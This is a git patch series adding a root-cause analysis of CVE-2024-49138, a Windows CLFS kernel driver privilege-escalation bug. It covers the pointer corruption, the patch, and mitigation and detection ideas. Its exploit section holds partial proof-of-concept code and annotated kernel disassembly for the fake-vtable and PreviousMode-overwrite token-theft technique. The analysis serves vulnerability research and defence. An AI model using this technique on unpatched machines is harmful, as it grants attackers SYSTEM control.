From 1b193e4df441a39662ffc9f9ee93b64c77146fda Mon Sep 17 00:00:00 2001 From: How Chong <41881254+Ryujin76@users.noreply.github.com> Date: Mon, 30 Jun 2025 09:10:19 +0800 Subject: [PATCH 1/3] Add CVE-2024-49138 --- 0day-RCAs/2024/CVE-2024-49138.md | 361 +++++++++++++++++++++++++++++++ 1 file changed, 361 insertions(+) create mode 100644 0day-RCAs/2024/CVE-2024-49138.md diff --git a/0day-RCAs/2024/CVE-2024-49138.md b/0day-RCAs/2024/CVE-2024-49138.md new file mode 100644 index 0000000..1ae953b --- /dev/null +++ b/0day-RCAs/2024/CVE-2024-49138.md @@ -0,0 +1,361 @@ +# CVE-2024-49138: Windows Common Log File System Driver Elevation of Privilege Vulnerability +*Ong How Chong (STAR Labs SG Pte. Ltd.)* + +## The Basics + +**Disclosure or Patch Date:** December 10, 2024 + +**Product:** Windows + +**Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138 + +**Affected Versions:** Before security updates of December 10, 2024, for Windows 10, 11 and Windows Server 2008, 2012, 2016, 2019, 2022, 2025 + +**First Patched Version:** Security updates of December 10, 2024, for CVE-2024-49138 + +**Issue/Bug Report:** N/A + +**Patch CL:** N/A + +**Bug-Introducing CL:** N/A + +**Reporter(s):** Advanced Research Team with CrowdStrike + +## The Code + +**Proof-of-concept:** https://github.com/MrAle98/CVE-2024-49138-POC + +**Exploit sample:** See PoC + +**Did you have access to the exploit sample when doing the analysis?** Yes + +## The Vulnerability + +**Bug class:** Untrusted Pointer Dereference (CWE-822) + +**Vulnerability details:** CVE-2024-49138 is a logical vulnerability within the Windows Common Log File System kernel driver that occurs when processing maliciously formatted log files. This will eventually lead to an untrusted pointer dereference by the kernel. An attacker is able to modify the pointer such that the the execution flow of the kernel will be redirected to a user controlled address. + +The Windows Common Log File System (CLFS) uses Base Log Files (BLF) and Container files for storing log information. BLFs hold all the important metadata relating to the log file while Containers hold the actual log data. + +The untrusted pointer dereference can be found in the function `CClfsBaseFilePersisted::LoadContainerQ()`, where `pContainer` is a variable that can be indirectly manipulated and dereferenced. + +``` +CClfsBaseFilePersisted::LoadContainerQ(){ + ... + return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); + ... + if ( return_value < 0 ) + goto LABEL_116; + ... + LABEL_116: + ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference +} +``` + +In order for `pContainer` dereference to be reached, `CClfsBaseFilePersisted::FlushImage()` would have to return a negative value, or an error code. Provided is the pesudocode for the relevant functions. + +``` +CClfsBaseFilePersisted::FlushImage(PERESOURCE *this){ + ... + return_value = CClfsBaseFilePersisted::WriteMetadataBlock(...); + return return_value; +} +``` + +``` +CClfsBaseFilePersisted::WriteMetadataBlock(...){ + ... + ++ullDumpCount; + if (ullDumpCount & 1){ //if ullDumpCount is odd + ++Usn; + } + ... + return_value = ClfsEncodeBlock(...) + if (return_value >= 0){ //if ClfsEncodeBlock returns success + ClfsEncodeBlockSuccess = 1; + } + ... + if (ClfsEncodeBlockSuccess){ + return_value_2 = ClfsDecodeBlock(...); + if (return_value_2 < 0){ //if ClfsDecodeBlock returned error + ReleaseMetadataBlock(...); + return return_value_2; + } + } + ... + return return_value; +} +``` + +In order to dereference `pContainer`, you would need to have `ClfsEncodeBlock()` succeed and `ClfsDecodeBlock()` fail. `ClfsEncodeBlock()` succeeding would let us modify the value stored inside of `pContainer`, while `ClfsDecodeBlock()` failing would return an error code, which is necessary to reach the code in `CClfsBaseFilePersisted::LoadContainerQ()` that dereferences `pContainer`. + +A BLF is split into multiple sectors of fixed size 512 bytes, and each of these sectors have a 2 byte signature located at the end. This signature is checked and manipulated by both `ClfsEncodeBlock()` and `ClfsDecodeBlock()`, and is critical for triggering this vulnerability. + +To make `ClfsDecodeBlock()` fail after `ClfsEncodeBlock()` succeeds, an attacker would prepare the BLF such that there are 2 overlapping header sections: +* A sector signature and `pContainer` overlap. +* A sector signature and the `signatures array` overlap. + +We also need to ensure that `ullDumpCount`, a value found in the BLF header, is an odd value as we want `Usn` to be incremented in `CClfsBaseFilePersisted::WriteMetadataBlock()`. `Usn` will then be used in `ClfsEncodeBlock()` to calculate a new sector signature. + +`ClfsEncodeBlock()` calls `ClfsEncodeBlockPrivate()`. + +``` +ClfsEncodeBlockPrivate(...){ + if ( size or offsets are wrong ){ //preliminary checks + return ErrorCode; + } + + SectorNumber = 0; + while (SectorNumber < TotalSectors){ + //calculate new sector signature + ... + + SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector) + *SignaturesArray = *(SectorSigOffset + 2); //store old signature + SignaturesArray += 2; //move to next entry in SignaturesArray + *(SectorSigOffset + 2) = NewSig //write new signature + SectorNumber++; + } +} +``` +ClfsEncodeBlockPrivate() logic: +* `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid. +* Loops over all sector signatures and copy them into the `signatures array` located at `SignaturesOffset`, then calculates and writes a new signature value into sector signature (going from low address to high address). +* As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01`. +* `WriteMetadataBlock()` will increment both `ullDumpCount` and `Usn` by 1 before jumping to `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()`. +* `ClfsEncodeBlockPrivate()` would calculate the new sector signature as `0x10 0x02`, following the sector signature format. +* Each sector would have its old signature of `0x10 0x01` stored at the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the old signature into the `signatures array`, it will overwrite the new sector signataure value of that sector. +* As an example: + * Assume the malicious BLF has its `signatures array` located inbetween sectors 1 and 2, meaning that 2 bytes of the `signatures array` would overlap with the sector signature of sector 1. For illustration purposes, assume that the 2 bytes overlapping with the sector signature are the 19th and 20th byte of `signatures array` (10th signature). + * `ClfsEncodeBlockPrivate()` would start to store old signatures and write new signatures. Starting from sector 1, the old sector signature would be stored inside the first 2 bytes of `signatures array`, and the new sector signature would be written to where the old sector signature was. + * In this example, when we reach the 10th sector, the old signature would be written into the 19th and 20th byte of `signatures array`. However, as that address overlaps with a sector signature, the new sector signature of the 1st sector would be overwritten by the old sector signature of the 10th sector. + * The end result is that the sector signature of sector 1 would be invalid. +* When writing this new signature, it would also overwrite some portion of `pContainer` as it overlaps with another sector signature. +* After the full execution of the function `ClfsEncodeBlock()`: + * Part of `pContainer` will be overwritten by a sector signature, turning it into a user space address. + * The sector signature of the sector containing the `signatures array` will be invalid, thus causing `ClfsDecodeBlock()` to fail. + +`ClfsDecodeBlock()` calls `ClfsDecodeBlockPrivate()`. + +``` +ClfsDecodeBlockPrivate(...){ + if ( size or offsets are wrong ){ //preliminary checks + return ErrorCode; + } + ... + SectorNumber = TotalSectors; + while (1){ + SectorNumber--; + SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector) + ... + if ( SectorSignature at SectorSigOffset [Usn] is wrong ){ + return ErrorCode; + } + if ( SectorSignature at SectorSigOffset [Sector Block Type] is wrong ){ + return ErrorCode; + } + ... + //Move old contents from SignaturesArray back to original + *(SectorSigOffset + 2) = *&SignaturesArray[2 * SectorNumber]; + ... + if (SectorNumber == 0){ //return success if no more sectors to check + return SuccessCode; + } + } +} +``` +ClfsDecodeBlockPrivate() logic: + +* `ClfsDecodeBlock()` and `ClfsDecodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid. +* It loops over all the sector signatures and compares them against the expected value (going from high address to low address). +* If there are no errors after the checks, the sector signatures are replaced with the content in the `signatures array`, restoring the original sector signature value. +* If there are errors, it stops execution and returns an error code. +* Thus, with the malicious BLF, an error will be thrown as the sector signature of where the signature array is located is invalid. + +With this, an error code is returned all the way up to `LoadContainerQ()`, and we are able to dereference `pContainer`, which would contain a user controlled address. + +**Patch analysis:** + +Before the patch: +``` +CClfsBaseFilePersisted::LoadContainerQ(){ + ... + return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); + ... + if ( return_value < 0 ) + goto LABEL_116; +... + LABEL_116: + ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference +} +``` + +After the patch: +``` +CClfsBaseFilePersisted::LoadContainerQ(){ + ... + if (patch_flag) + v58 = ContainerContext->pContainer; //saves pContainer here + ... + return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); + ... + if ( return_value < 0 ) + goto LABEL_116; +} +... +LABEL_116: + v58->Release(v58); //safe pContainer dereference +``` + +After the patch, the address of `pContainer` is saved into `v58` before `CClfsBaseFilePersisted::FlushImage()` is called, and subsequently loaded before it is dereferenced. Thus, `pContainer` can no longer be tampered with before it is dereferenced. + +**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** The CLFS driver had been patched for Elevation of Privilege vulnerabilities numerous times over the years. Additionally, the reporter of this CVE was crowdstrike, who detected the vulnerability actively exploited by threat actors. There is a good chance that this was developed by threat actors who understand that the CLFS driver has many vectors to exploit as seen from past patches. + +**(Historical/present/future) context of bug:** + +* 10 December, 2024: CVE-2024-49138 is patched and publicly disclosed. +* 29 January, 2025: Alessandro Iandoli publishes a detailed writeup and POC for CVE-2024-49138. + +## The Exploit + +(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) + +**Exploit strategy (or strategies):** Modify `pContainer` so that the kernel will dereference it and jump to a user controlled address, leading to unintended behaviour. We can chain this with a different exploit that requires highjacking the execution flow of the kernel in order to achieve elevation of privileges. + +`CClfsBaseFilePersisted::LoadContainerQ()`, which contains the code that dereferences `pContainer`, can be reached by calling the user exposed Common Log File System (CLFS) API `CreateLogFile()`. + +**Exploit flow:** + +--- POC execution --- +* Create and load malicious BLF file. +* Create a fake `CClfsContainer` object at a user controlled address with a fake vtable that points to the address of `nt!PoFxProcessorNotification`. +* Write additional data in the memory region allocated to the fake `CClfsContainer` object such as the address of `nt!DbgkpTriageDumpRestoreState` and the address of `_KTHREAD.PreviousMode` of the current thread. +* Call `CreateLogFile()` which opens the malicious BLF file. + +--- Driver execution --- +* Doing the above dereferences the malicious `CClfsContainer` object at a user controlled address. +* This calls `nt!PoFxProcessorNotification` which redirects the execution flow to `nt!DbgkpTriageDumpRestoreState` which is used to obtain arbitrary 8 byte write. +* Use this write to overwrite the `_KTHREAD.PreviousMode` of the current thread to 0 (kernel permissions), granting us arbitrary read/write primitives. + +--- POC execution --- +* POC can now read and copy the systems `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as system. +* Spawn a cmd shell with system privileges. + +In depth analysis of the chained exploit has been performed and documented below. +POC code: +``` +... +pcclfscontainer = VirtualAlloc(0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); +memset(pcclfscontainer, 0, 0x1000); + +vtable = pcclfscontainer + 0x100; +rcx = pcclfscontainer; //0x2100000 + +*(rcx + 0x40) = pcclfscontainer + 0x200; +*(pcclfscontainer + 0x200 + 0x68) = KernelBase + offset_nt!DbgkpTriageDumpRestoreState; + +//location of arguments to pass to nt!DbgkpTriageDumpRestoreState +*(rcx + 0x48) = pcclfscontainer + 0x300; +arg_nt!DbgkpTriageDumpRestoreState = pcclfscontainer + 0x300; + +//address of arbitrary write of nt!DbgkpTriageDumpRestoreState. It writes at offset 0x2078 +*(arg_nt!DbgkpTriageDumpRestoreState) = AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078; + +//value of arbitrary write of nt!DbgkpTriageDumpRestoreState +*(arg_nt!DbgkpTriageDumpRestoreState + 0x10) = 0x0; //KernelMode + +//[1] is the offset of the Release() function found in the vtable pointed to by pContainer +vtable[1] = KernelBase + offset_nt!PoFxProcessorNotification; +*pcclfscontainer = vtable; + +//trigger vulnerability after preparing addresses +logHndl = CreateLogFile(logFileName.c_str(), + GENERIC_WRITE | GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_ALWAYS, + 0); +... +//swap user process _EPROCESS.Token with system process +//restore _KTHREAD.PreviousMode to UserMode +//spawn system cmd shell +``` + +CClfsBaseFilePersisted::LoadContainerQ(): +``` +... +mov rcx, [rdi+18h] //moves pContainer value into rcx (0x2100000) +mov rax, [rcx] //moves vtable value into rax +mov rax, [rax+8] //moves address of nt!PoFxProcessorNotification into rax +call cs:__guard_dispatch_icall_fptr +... +jmp rax //jump to nt!PoFxProcessorNotification +... +``` + +nt!PoFxProcessorNotification: + +At this point, `rcx` would contain the value of `pContainer`, in this case 0x2100000. +``` +... +mov rax, qword ptr [rcx+40h] //moves (pcclfscontainer + 0x200) into rax +mov rax, qword ptr [rax+68h] //moves (kernel address + nt!DbgkpTriageDumpRestoreState offset) into rax +mov rcx, qword ptr [rcx+48h] //moves start address of arguments into rcx +call cs:__guard_dispatch_icall_fptr +... +jmp rax //jump to nt!DbgkpTriageDumpRestoreState +... +``` + +nt!DbgkpTriageDumpRestoreState: + +At this point, `rcx` contains the address of the arguments being passed. +``` +... +DbgkpTriageDumpRestoreState proc near +mov eax, [rcx+0Ch] +mov rdx, [rcx] //rdx is (AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078) +mov [rcx+18h], eax +mov eax, [rcx+10h] //eax is first 4 bytes of arbitrary write value +mov [rdx+2078h], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode) +mov rdx, [rcx] +mov eax, [rcx+14h] //eax is next 4 bytes of arbitrary write value +mov [rdx+207Ch], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode + 4h) +retn +DbgkpTriageDumpRestoreState endp +... +``` + +**Known cases of the same exploit flow:** There have been other exploits that all have the end-goal of being able to read and copy the systems `_EPROCESS.Token`, thus leading to elevation of privilege. + +**Part of an exploit chain?** Was likely used as part of an exploit chain. + +## The Next Steps + +### Variant analysis + +**Areas/approach for variant analysis (and why):** N/A + +**Found variants:** N/A + +### Structural improvements + +What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? + +**Ideas to kill the bug class:** N/A + +**Ideas to mitigate the exploit flow:** N/A + +**Other potential improvements:** N/A + +### 0-day detection methods + +What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? N/A + +## Other References +* https://github.com/ionescu007/clfs-docs +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138 +* https://security.humanativaspa.it/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/ +* https://github.com/MrAle98/CVE-2024-49138-POC +* https://www.zerodayinitiative.com/blog/2024/12/10/the-december-2024-security-update-review + From e4c7ded146aa661e1fcd8c041a1e2f33aa5ef77c Mon Sep 17 00:00:00 2001 From: How Chong <41881254+Ryujin76@users.noreply.github.com> Date: Thu, 10 Jul 2025 08:15:38 +0800 Subject: [PATCH 2/3] Apply suggestions from code review Co-authored-by: Benoit Sevens --- 0day-RCAs/2024/CVE-2024-49138.md | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/0day-RCAs/2024/CVE-2024-49138.md b/0day-RCAs/2024/CVE-2024-49138.md index 1ae953b..915a558 100644 --- a/0day-RCAs/2024/CVE-2024-49138.md +++ b/0day-RCAs/2024/CVE-2024-49138.md @@ -33,7 +33,7 @@ **Bug class:** Untrusted Pointer Dereference (CWE-822) -**Vulnerability details:** CVE-2024-49138 is a logical vulnerability within the Windows Common Log File System kernel driver that occurs when processing maliciously formatted log files. This will eventually lead to an untrusted pointer dereference by the kernel. An attacker is able to modify the pointer such that the the execution flow of the kernel will be redirected to a user controlled address. +**Vulnerability details:** CVE-2024-49138 is a logical vulnerability within the Windows Common Log File System kernel driver that occurs when processing maliciously formatted log files. This will eventually lead to an untrusted pointer dereference by the kernel. An attacker is able to modify the pointer such that the execution flow of the kernel will be redirected to a user controlled address. The Windows Common Log File System (CLFS) uses Base Log Files (BLF) and Container files for storing log information. BLFs hold all the important metadata relating to the log file while Containers hold the actual log data. @@ -52,7 +52,7 @@ CClfsBaseFilePersisted::LoadContainerQ(){ } ``` -In order for `pContainer` dereference to be reached, `CClfsBaseFilePersisted::FlushImage()` would have to return a negative value, or an error code. Provided is the pesudocode for the relevant functions. +In order for `pContainer` dereference to be reached, `CClfsBaseFilePersisted::FlushImage()` would have to return a negative value, or an error code. Provided is the pseudocode for the relevant functions. ``` CClfsBaseFilePersisted::FlushImage(PERESOURCE *this){ @@ -120,13 +120,14 @@ ClfsEncodeBlockPrivate(...){ ``` ClfsEncodeBlockPrivate() logic: * `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid. -* Loops over all sector signatures and copy them into the `signatures array` located at `SignaturesOffset`, then calculates and writes a new signature value into sector signature (going from low address to high address). -* As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01`. +* Loops over every 2 data bytes located at sector signature locations and copies them into the `signatures array` located at `SignaturesOffset`, then calculates and writes a signature value into the sector signature location (going from low address to high address). + +As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01` (except for the first and last sector in a block, which have [extra flags](https://github.com/ionescu007/clfs-docs?tab=readme-ov-file#sector-signatures)). * `WriteMetadataBlock()` will increment both `ullDumpCount` and `Usn` by 1 before jumping to `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()`. * `ClfsEncodeBlockPrivate()` would calculate the new sector signature as `0x10 0x02`, following the sector signature format. * Each sector would have its old signature of `0x10 0x01` stored at the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the old signature into the `signatures array`, it will overwrite the new sector signataure value of that sector. * As an example: - * Assume the malicious BLF has its `signatures array` located inbetween sectors 1 and 2, meaning that 2 bytes of the `signatures array` would overlap with the sector signature of sector 1. For illustration purposes, assume that the 2 bytes overlapping with the sector signature are the 19th and 20th byte of `signatures array` (10th signature). + * Assume the malicious BLF has its `signatures array` located in between sectors 1 and 2, meaning that 2 bytes of the `signatures array` would overlap with the sector signature of sector 1. For illustration purposes, assume that the 2 bytes overlapping with the sector signature are the 19th and 20th byte of `signatures array` (10th signature). * `ClfsEncodeBlockPrivate()` would start to store old signatures and write new signatures. Starting from sector 1, the old sector signature would be stored inside the first 2 bytes of `signatures array`, and the new sector signature would be written to where the old sector signature was. * In this example, when we reach the 10th sector, the old signature would be written into the 19th and 20th byte of `signatures array`. However, as that address overlaps with a sector signature, the new sector signature of the 1st sector would be overwritten by the old sector signature of the 10th sector. * The end result is that the sector signature of sector 1 would be invalid. @@ -209,7 +210,7 @@ LABEL_116: After the patch, the address of `pContainer` is saved into `v58` before `CClfsBaseFilePersisted::FlushImage()` is called, and subsequently loaded before it is dereferenced. Thus, `pContainer` can no longer be tampered with before it is dereferenced. -**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** The CLFS driver had been patched for Elevation of Privilege vulnerabilities numerous times over the years. Additionally, the reporter of this CVE was crowdstrike, who detected the vulnerability actively exploited by threat actors. There is a good chance that this was developed by threat actors who understand that the CLFS driver has many vectors to exploit as seen from past patches. +**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** The CLFS driver had been patched for Elevation of Privilege vulnerabilities numerous times over the years. Additionally, the reporter of this CVE was Crowdstrike, who detected the vulnerability actively exploited by threat actors. There is a good chance that this was developed by threat actors who understand that the CLFS driver has many vectors to exploit as seen from past patches. **(Historical/present/future) context of bug:** @@ -220,7 +221,7 @@ After the patch, the address of `pContainer` is saved into `v58` before `CClfsBa (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) -**Exploit strategy (or strategies):** Modify `pContainer` so that the kernel will dereference it and jump to a user controlled address, leading to unintended behaviour. We can chain this with a different exploit that requires highjacking the execution flow of the kernel in order to achieve elevation of privileges. +**Exploit strategy (or strategies):** Modify `pContainer` so that the kernel will dereference it and call a chosen kernel function from a usermode vtable. `CClfsBaseFilePersisted::LoadContainerQ()`, which contains the code that dereferences `pContainer`, can be reached by calling the user exposed Common Log File System (CLFS) API `CreateLogFile()`. @@ -235,10 +236,10 @@ After the patch, the address of `pContainer` is saved into `v58` before `CClfsBa --- Driver execution --- * Doing the above dereferences the malicious `CClfsContainer` object at a user controlled address. * This calls `nt!PoFxProcessorNotification` which redirects the execution flow to `nt!DbgkpTriageDumpRestoreState` which is used to obtain arbitrary 8 byte write. -* Use this write to overwrite the `_KTHREAD.PreviousMode` of the current thread to 0 (kernel permissions), granting us arbitrary read/write primitives. +* Use this primitive to overwrite the `_KTHREAD.PreviousMode` of the current thread to 0 (kernelmode), granting us arbitrary read/write primitives to the whole address space using NtReadVirtualMemory() and NtWriteVirtualMemory(). --- POC execution --- -* POC can now read and copy the systems `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as system. +* POC can now read and copy the system `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as the system process. * Spawn a cmd shell with system privileges. In depth analysis of the chained exploit has been performed and documented below. From 48e18d86702cc17287362e7442a81e01db8aacda Mon Sep 17 00:00:00 2001 From: Ryujin76 <41881254+Ryujin76@users.noreply.github.com> Date: Thu, 10 Jul 2025 08:46:10 +0800 Subject: [PATCH 3/3] Update CVE-2024-49138.md Based on suggestions from benoitsevens --- 0day-RCAs/2024/CVE-2024-49138.md | 32 +++++++++++++++++++++----------- 1 file changed, 21 insertions(+), 11 deletions(-) diff --git a/0day-RCAs/2024/CVE-2024-49138.md b/0day-RCAs/2024/CVE-2024-49138.md index 915a558..79ffeb0 100644 --- a/0day-RCAs/2024/CVE-2024-49138.md +++ b/0day-RCAs/2024/CVE-2024-49138.md @@ -125,13 +125,14 @@ ClfsEncodeBlockPrivate() logic: As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01` (except for the first and last sector in a block, which have [extra flags](https://github.com/ionescu007/clfs-docs?tab=readme-ov-file#sector-signatures)). * `WriteMetadataBlock()` will increment both `ullDumpCount` and `Usn` by 1 before jumping to `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()`. * `ClfsEncodeBlockPrivate()` would calculate the new sector signature as `0x10 0x02`, following the sector signature format. -* Each sector would have its old signature of `0x10 0x01` stored at the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the old signature into the `signatures array`, it will overwrite the new sector signataure value of that sector. -* As an example: - * Assume the malicious BLF has its `signatures array` located in between sectors 1 and 2, meaning that 2 bytes of the `signatures array` would overlap with the sector signature of sector 1. For illustration purposes, assume that the 2 bytes overlapping with the sector signature are the 19th and 20th byte of `signatures array` (10th signature). - * `ClfsEncodeBlockPrivate()` would start to store old signatures and write new signatures. Starting from sector 1, the old sector signature would be stored inside the first 2 bytes of `signatures array`, and the new sector signature would be written to where the old sector signature was. - * In this example, when we reach the 10th sector, the old signature would be written into the 19th and 20th byte of `signatures array`. However, as that address overlaps with a sector signature, the new sector signature of the 1st sector would be overwritten by the old sector signature of the 10th sector. - * The end result is that the sector signature of sector 1 would be invalid. -* When writing this new signature, it would also overwrite some portion of `pContainer` as it overlaps with another sector signature. +* Each sector would have its two data bytes from the signature slot copied into the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the original data into the `signatures array`, it will overwrite the new sector signataure value of that sector. +* When `ClfsEncodeBlockPrivate()` iterates over the sectors, the following sequence happens: + *Update signatures of sector 0 to 9 (not important) + *Update signature of sector 10. Part of pContainer gets corrupted with 0x10 0x02 + *Update signature of sector 11. `signature_array[59]` gets overwritten with 0x10 0x02 (but not important because another overwrite will happen in later step). + *Update signatures of sector 10 to 58 (not important) + *Update signature of sector 59. The original bytes of signature slot in sector 59 (0x10 0x01) are placed in `signature_array[59]`, (with overlaps with signature slot of sector[11] !). Signature of sector 59 is set to 0x10 0x02. + *Update signatures of sector 60 to 61 (not important) * After the full execution of the function `ClfsEncodeBlock()`: * Part of `pContainer` will be overwritten by a sector signature, turning it into a user space address. * The sector signature of the sector containing the `signatures array` will be invalid, thus causing `ClfsDecodeBlock()` to fail. @@ -242,7 +243,7 @@ After the patch, the address of `pContainer` is saved into `v58` before `CClfsBa * POC can now read and copy the system `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as the system process. * Spawn a cmd shell with system privileges. -In depth analysis of the chained exploit has been performed and documented below. +In depth analysis of the kernel functions exploit has been performed and documented below. POC code: ``` ... @@ -329,7 +330,7 @@ DbgkpTriageDumpRestoreState endp **Known cases of the same exploit flow:** There have been other exploits that all have the end-goal of being able to read and copy the systems `_EPROCESS.Token`, thus leading to elevation of privilege. -**Part of an exploit chain?** Was likely used as part of an exploit chain. +**Part of an exploit chain?** Was used standalone to elevate privileges on a Windows machine. ## The Next Steps @@ -343,7 +344,12 @@ DbgkpTriageDumpRestoreState endp What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? -**Ideas to kill the bug class:** N/A +**Ideas to kill the bug class:** + +* There is an official blog post by Microsoft suggesting various mitigations for the Common Log Filesystem (CLFS) [found here](https://techcommunity.microsoft.com/blog/microsoft-security-blog/security-mitigation-for-the-common-log-filesystem-clfs/4224041). +* Supervisor Mode Access Prevention (SMAP) would kill the usermode dereference, but has been discarded on Windows as [seen here](https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf). +* Leaks via NtQuerySystemInformation from medium IL no longer works on Windows 11 24H2. +* Overwriting Previousmode no longer works on Windows 11 24H2. **Ideas to mitigate the exploit flow:** N/A @@ -351,7 +357,11 @@ What are structural improvements such as ways to kill the bug class, prevent the ### 0-day detection methods -What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? N/A +What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? + +* Dropping and modifying BLF files +* Spawning cmd.exe as SYSTEM +* Monitoring suspicious API calls such as NtQuerySystemInformation ## Other References * https://github.com/ionescu007/clfs-docs